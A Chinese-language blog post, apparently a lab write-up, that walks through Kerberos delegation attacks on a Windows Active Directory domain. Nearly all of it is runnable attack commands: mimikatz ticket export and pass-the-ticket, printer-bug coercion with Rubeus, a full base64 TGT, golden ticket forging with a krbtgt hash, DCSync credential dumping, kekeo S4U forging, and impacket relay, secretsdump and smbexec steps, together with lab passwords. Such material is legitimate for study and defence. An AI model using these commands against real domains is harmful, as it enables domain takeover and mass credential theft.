• Windows 内网渗透之委派攻击


    委派攻击

    本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。

    前言

    域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。
    简言之:当A访问服务B时,服务B拿着A用户的凭证去访问服务C,这个过程称为委派。

    委派攻击分为三种攻击手段:

    • 非约束委派 攻击
    • 约束委派攻击
    • 资源委派攻击

    非约束委派攻击

    在域内只有主机账号和服务账号才有委派属性 主机账号:活动目录中的computers组内的计算机,也被称为机器账号。 服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

    非约束委派大致流程

    user访问serverA,于是向DC发起认证,DC会检查serverA的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给serverA 这样serverA在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而serverA就可以使用这个TGT,来模拟这个user访问任何服务。

    用户访问 —> server1 使用获得的TGT,模拟用户去访问其他访问服务 —> 任何服务

    从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境。

    搭建复现

    先新建一个用户

    注册服务用户 注册服务账号后 具有委派选项

    # 添加委派权限
    setspn -A https/web web
    # 权限委派权限
    setspn -d https/web web
    
    • 1
    • 2
    • 3
    • 4

    设置主机委派

    当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

    查询配置非约束委派

    由于在真实的环境中我们不可能登录域控去查看是否有委派的主机,所以下面我介绍一些可以查询是否有委派主机的方法。

    powerview 查询配置非约束委派

    导入模块 PowerView.ps1

    Import-Module .\PowerView.ps1
    
    • 1

    查询非约束主机

    Get-NetComputer -Unconstrained -Domain redteam.club
    
    • 1

    查询非约束用户

    Get-NetUser -Unconstrained -Domain redteam.club | select name
    
    • 1

    adfind查询非约束委派

    不推荐这个方法,因为我们要拿到委派配置的整数值。在我们没有拿下域控之前我们是没有办法拿到这段整数值。

    # 非约束委派的主机
    AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    # 非约束委派的用户:
    AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
    
    • 1
    • 2
    • 3
    • 4

    非约束委派攻击案例

    域管理使用winrm服务器远程连接域内主机(这里模拟的是管理员来访问委派主机的过程)

    Enter-PSSession -ComputerName 12server2
    
    • 1

    此时域管的凭证已缓存于目标机器,使用域内机器登录本地管理员,mimikatz 导出相关凭证:

    privilege::debug
    sekurlsa::tickets /export
    
    • 1
    • 2

    此时先尝试连接域控,均无法连接:

    dir \\ad1.redteam.club\c$
    
    • 1

    mimikatz 导入先前凭证:

    # kerberos::ptt 凭证名称
    kerberos::ptt [0;369edcfe]-2-0-60a10000-Administrator@krbtgt-REDTEAM.CLUB.kirbi
    kerberos::list
    
    • 1
    • 2
    • 3

    导入票据后访问域控 ad.redteam.club:

    dir \\ad1.redteam.club\c$
    
    • 1

    非约束委派&Spooler

    默认情况下Spooler服务为自动启动

    确认目标主机开启相关权限

    后续用Rubeus来监听事件id为4624的事件,可以第一事件截取到域控的TGT,监听来自域控ad1的登录

    Rubeus.exe monitor /interval:1 /filteruser:ad1$
    
    • 1

    利用打印服务强制让域控机向12server2主机验证身份,这样我们的Rubeus就可以监听到TGS了

    SpoolSample.exe ad1 12server2
    
    • 1

    然后直接用 powershell 转到为正常的 TGT 即可:

    # [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("得到的base64"))
    [IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("doIFCjCCBQagAwIBBaEDAgEWooIEEzCCBA9hggQLMIIEB6ADAgEFoQ4bDFJFRFRFQU0uQ0xVQqIhMB+gAwIBAqEYMBYbBmtyYnRn
    dBsMUkVEVEVBTS5DTFVCo4IDyzCCA8egAwIBEqEDAgECooIDuQSCA7U6iWYOTscFfrbQqs610/IIxZlUjh4ad54KCuiZM3jXcOd0
    0sjMPC4az7MemI7mXJ9VJ+sVUJCZ2Ai8y4ihgE4sFNBHyyYQK5Urp2T4Or3IXWkcs/64wVw+7MEpSVFmUzPsg7zEkf38SuHse6l0
    /yDzQz+gq+bu6kVHnoNaMzlA2LVBI46/Bju53q/U5E6n9JmPB2jvdiE/TKzVKK/A0l9vJnsbujUjaORaf7h660B6b0a2zFlg+dOg
    YrP3CPzG3DtEpoKZLHcqySfgV3EZrYGpTkc8dXdDYct6r8PmqJhV4LeB8k1Sy9jOa9e2anRGaqSXelvMqamFRee5+zrVhitjwAKy
    yShCGe0hpZSE03KF3AUqYkggg99M0BHBnQjyZbHFFSohpk4ZG0XxfmS+Gsw5t5/Q23YecNdDiskMgNzNzCF/lOKn0mGKBhTiVqk+
    xQkIYEp9iLJO6Aam189WYNslOlnr19+44byeXNsQwwl1E8xWFH1e/6JAkOCpCwRurq4XZZhzRNRRIoMFAs/Dzn46j8KLa7asUiw7
    1eHdZvCJMVgMpN+aNjA+u1DkGppE5xEJraghhLs/E8cTNHj/Ji6ShlhZrpfGxui+gp41bcaa4OnMd6lLKrGMwXAfUTMQZDaB5MeK
    d7rpYonM1WjdzLL9PECj4uaNsbsWuJOpqcpZIdapYBPo1CTYhSKSO6fzRsU+7gm6khssxpmHBHQndNsTaB/LMLUzfKlncv5Yz8oq
    fkYnYMnb1+EEj83FNuKtz0ZX4hxF7woeMzkzYxfr56osV/WBnzuJ+uvwDALmPYWbhv6M4Rp5OakMQuA3QyvaiSrGMV10uEMs+2ac
    EEQ+uckW2qdmMBqog+vTgUzpDp9sPbZwNQN54CELlFdtge/aVJnUyGYR7ftpcPSP25TBwMnYDhvV8+iSPTR26SX62c5dfSHwi3Tu
    yMt/jpR9xr4Rlx2j/4B06fK+qpg+/dFCNZDlNFtNKkv/p4xVJx9kHGOAgcY3FImO3DLzOtzcEKI82Q8Ij2va7yT73yisa4NxX5DJ
    pPjRx2s+s2I5OFUSOSMfm3Mu2hxH0KhXGGhPc3LKri0DFsCGMSSN9l/g/vb2J6CvYIhtyyRvZBP62BToxeYy8pbbQ9wKyaYNJL1Z
    kPlyg0/h18KzG1cEJodTVEzk/ujXssP2Ft4awsv0NIUHQbYjsrHlb/hKQ3uX08R4OIQAEsz9f842GzgG40IvpwvUXHxbuiqMw2GP
    3La6edFbHg5ZQT1gqaq7o4HiMIHfoAMCAQCigdcEgdR9gdEwgc6ggcswgcgwgcWgKzApoAMCARKhIgQgZNhoNw9QgJVHe5r7IMr3
    hOeXQjdj8w5HXEe/aGOTr3GhDhsMUkVEVEVBTS5DTFVCohEwD6ADAgEBoQgwBhsEQUQxJKMHAwUAYKEAAKURGA8yMDIyMDcyNTA5
    MDA0NlqmERgPMjAyMjA3MjUxOTAwNDNapxEYDzIwMjIwODAxMDkwMDQzWqgOGwxSRURURUFNLkNMVUKpITAfoAMCAQKhGDAWGwZr
    cmJ0Z3QbDFJFRFRFQU0uQ0xVQg=="))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    这样我们就可以得到 TGT 票据了

    注入票据,和上面的操作一样。

    kerberos::ptt XXX.kirbi
    
    • 1
    # 后续再Rubeus导入base64的票据直接注入进内存
    Rubeus.exe ptt /ticket:base64
    
    # 用mimikatz也可
    privilege::debug
    sekurlsa::tickets /export
    
    # 导入票据后ptt即可
    kerberos::ptt XXX.kirbi
    lsadump::dcsync /domain:redteam.club /all /csv
    mimikatz.exe "lsadump::dcsync /domain:redteam.club /all /csv" "exit">log.txt
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    制作黄金票据访问域控

    当前的权限是域的本地管理员,不是域控的权限,所以还是要制作黄金票据 访问域控获取域控的sid

    whoami /all
    # 获得SID S-1-5-21-2365300756-2663045586-4193326672
    # sid 不需要后面的位数
    
    • 1
    • 2
    • 3

    制作黄金票据

    kerberos::golden /domain:redteam.club /sid:S-1-5-21-2365300756-2663045586-4193326672 /krbtgt:b6e0fcce3106665064de4917394ccc27 /user:administrator /ticket:ntlm.kirbi
    
    • 1

    制作成功后 导入票据访问域控

    kerberos::ptt ntlm.kirbi
    dir \\ad1.redteam.club\c$
    
    • 1
    • 2

    约束委派

    约束委派原理

    由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self ( S4U2Self )和 Service for User to Proxy ( S4U2proxy ),这两个扩展都允许服务代表用户从KDC请求票证。 S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1) ; S4U2proxy可以以用户的名义请求其它服务的ST2 ,约束委派就是限制了S4U2proxy扩展的范围。

    S4U2Self (用用户的TGT向KDC请求用户的可转发的ST1,再用这张ST1去发起S4U2proxy请求。)通过此扩展可以拿到一张标识任意用户身份的ST,它的作用其实是 协议转换 。有时用户会通过 其他协议(例如NTLM或什至基于表单的身份验证)对服务进行身份验证,因此他们不会将TGS发送给服务。在这种情况下,服务可以 调用S4U2Self来要求身份验证服务为其自身的任意用户生成TGS ,然后可以在调用S4U2Proxy时将其用作依据。例如网站A服务器可以使用它去向KDC请求一张用户B身份的ST1,网站A服务器再用这张ST1去发起S4U2proxy请求。

    S4U2proxy (拿用户的可转发的ST1请求用于访问服务器的ST2) 该拓展作用是使用一张用户A身份的ST1去向KDC请求一张用于访问文件服务器B的ST2,这张ST2的身份还是用户的,这样的话网站A就可以利用用户A的权限去访问文件服务器B上的文件了。

    大致流程:

    user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问

    如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC。

    域控返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。

    由于服务用户 只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模拟用户访问特定的服务 ,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以 伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2 。

    环境搭建

    # 此处如果没有用户,需要新建个用户,加上spn标识为服务用户
    setspn -A cifs/12server3.redteam.club websec
    # 设置服务用户对websec的cifs服务的委派
    
    • 1
    • 2
    • 3

    已知在约束委派的情况下,服务用户只能获取某个用户或者主机的服务ST,只能用模拟用户访问特定的服务,是无法获取用户的TGT的,如果能够获得到开启了约束委派的服务的用户的明文密码或者hash就可以伪造S4U的请求,进而伪造服务用户以任意账户的权限访问服务的ST。

    复现

    设置约束用户存在 TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION 关键字

    使用命令查询约束用户

    AdFind.exe -b "DC=redteam,DC=club" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
    
    • 1

    # 通过kekeo请求服务用户的TGT
    tgt::ask /user:websec /domain:redteam.club /password:pass@123 /ticket:test.kirbi
    # 同理此处利用ntlm hash也是可以进行请求的
    tgt::ask /user:websec /domain:redteam.club /NTLM:XXXXX
    
    • 1
    • 2
    • 3
    • 4

    # 利用这个票据通过伪造S4U请求以administrator身份访问websec的ST
    tgs::s4u /tgt:TGT_websec@REDTEAM.CLUB_krbtgt~redteam.club@REDTEAM.CLUB.kirbi  /user:Administrator@reteam.club /service:cifs/ad1.redteam.club
    
    • 1
    • 2

    这时候kekeo当前路径下会出现administrator的ticket (用于访问websec的CIFS服务),导入这个tiket即可访问websec的cifs服务:
    使用kekeo导入票据访问域控:

    keberos::ptt TGS_Administrator@redteam.club@REDTEAM.CLUB_cifs~ad1.redteam.club@REDTEAM.CLUB.kirbi
    
    • 1

    约束委派一般用户权限维持较多。

    基于资源的约束委派

    注意:server2012才引入了基于资源的约束委派!!!
    
    无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是可转发的,如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成功,并且S4U2Proxy返回的票据总是可转发总之需要用户对主机的属性具备写权限
    
    • 1
    • 2
    • 3

    基于资源的约束委派原理

    基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置RBCD,这里的关键就是谁可以修改属性。

    环境搭建:

    REDTEAM\hack -> WriteProperty(将机器加入域的账号,也就是mS-DS-CreatorSID属性中的账户)
    
    NT AUTHORITY\SELF -> WriteProperty(机器账户自身也可以修改)
    
    我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    复现1 利用普通域账号提升到域本地管理员

    创建机器主机账号

    python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -computer-pass pass@123 "redteam.club/hack:pass@123"
    
    • 1

    中继&委派

    执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限

    python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --delegate-access --escalate-user moonsec\$ -debug
    
    • 1

    域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子(kali)

    python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139
    
    • 1

    监听提升 修改委派

    获取服务票据

    python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec\$:pass@123 -spncifs/ad2.redteam.club -impersonate administrator
    
    • 1
    export KRB5CCNAME=administrator.ccache
    vi /etc/resolv.conf
    
    • 1
    • 2

    python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
    python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm
    
    • 1
    • 2

    导出域控哈希

    python3 smbexec.py -no-pass -k ad2.redteam.club
    
    • 1

    复现2 资源委派攻击其他域主机获取system权限

    首先查询域普通用户加入域的机子

    这里我使用一下月师傅的C#代码(自己比较菜写不出来了)

    using System;
    using System.Security.Principal;
    using System.DirectoryServices;
    namespace ConsoleApp9
    {
     class Program
     {
       static void Main(string[] args)
       {
         DirectoryEntry ldap_conn = new
    DirectoryEntry("LDAP://dc=redteam,dc=club");
         DirectorySearcher search = new DirectorySearcher(ldap_conn);
         String query = "(&(objectClass=computer))";// 查找计算机
         search.Filter = query;
         foreach (SearchResult r in search.FindAll())
         {
           String mS_DS_CreatorSID = "";
           String computername = "";
           try
           {
             computername = r.Properties["dNSHostName"][0].ToString();
             mS_DS_CreatorSID = (new
    SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
             //Console.WriteLine("{0} {1}\n", computername,
    mS_DS_CreatorSID);
           }
           catch
           {
             ;
           }
           // 再通过sid找用户名
           String UserQuery = "(&(objectClass=user))";
           DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
           search2.Filter = UserQuery;
           foreach (SearchResult u in search2.FindAll())
           {
             String user_sid = (new
    SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
             if (user_sid == mS_DS_CreatorSID)
             {
               // Console.WriteLine("debug");
               String username = u.Properties["name"][0].ToString();
               Console.WriteLine("[*] [{0}] -> creator [{1}]",
    computername, username);
             }
           }
         }
       }
     }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50

    我们可以用vscode之类的软件进行编译一下。

    查询到加入域主机的 域用户

    ConsoleApp9.exe
    
    • 1

    使用SharpAllowedToAct修改委派 工具下载地址: https://github.com/HPVCA/SharpAllowedToAct

    SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142 redteam.club
    
    • 1

    获取服务票据

    python3 getST.py -dc-ip 10.10.10.142 redteam/hack\$:pass@123 -spn cifs/12server2.redteam.club -impersonate administrator
    
    • 1

    获取域普通主机权限

    export KRB5CCNAME=administrator.ccache
    python3 smbexec.py -no-pass -k 12server2.redteam.club
    
    • 1
    • 2

    获取system权限

  • 相关阅读:
    windows自启动,修改注册表的方式
    反碎片化技术(外部碎片)的原理
    医疗器械标准目录汇编2022版共178页(文中附下载链接!)
    通过mapReduce实现对单词的统计及遇到的问题点
    zenmap无法运行扫描操作
    Spring集成Junit完成JdbcTemplate修改和删除,jdbc内容和配置解耦合
    怎么批量将视频锐化处理并垂直翻转画面?
    01-React入门
    Linux的学习笔记
    Kibana:摄入 GeoJSON 数据
  • 原文地址:https://blog.csdn.net/qq_53742230/article/details/126082229